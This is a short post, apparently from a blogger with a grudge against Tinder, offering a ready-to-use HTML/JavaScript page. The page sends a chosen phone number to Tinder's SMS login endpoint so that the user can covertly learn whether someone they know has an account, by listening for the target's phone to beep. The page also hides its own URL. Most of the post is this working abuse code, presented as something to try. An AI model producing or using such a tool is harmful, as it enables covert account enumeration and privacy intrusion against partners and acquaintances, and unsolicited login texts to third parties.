Busted! you DO have an account :]

Well the idea here is demonstrating an abuse case for learning if someone you know has a tinder account tied to a number, you would take the form below (copy it to a text file, change the number, save the file as Hmm.htm or something ending in .htm run the form in their presence, see if you hear a beep, a vibrate or a blush phone number being 4407blahblahblah (44 if you’re UK)

test it out on yourself!

caveats: you will have to modify this to the number of choice, you’ll have to launch it in their prensence, or while on the phone with them.

<html>
  <!-- TinderBuster - Tinder, i thought we where friends, banning a gold member with no tangable information, i'll get creative with all this spare time then  -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "https:\/\/api.gotinder.com\/v2\/auth\/sms\/send?auth_type=sms&locale=en-GB", true);
        xhr.setRequestHeader("Accept", "application\/json");
        xhr.setRequestHeader("Accept-Language", "en-GB,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "application\/json");
        xhr.withCredentials = true;
        var body = "{\"phone_number\":\"44PHONE_NUMBER_HERE\"}";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
    <input type="text" name="phone_number">
      <input type="button" value="Good Luck!" onclick="submitRequest();" />
    </form>
  </body>
</html>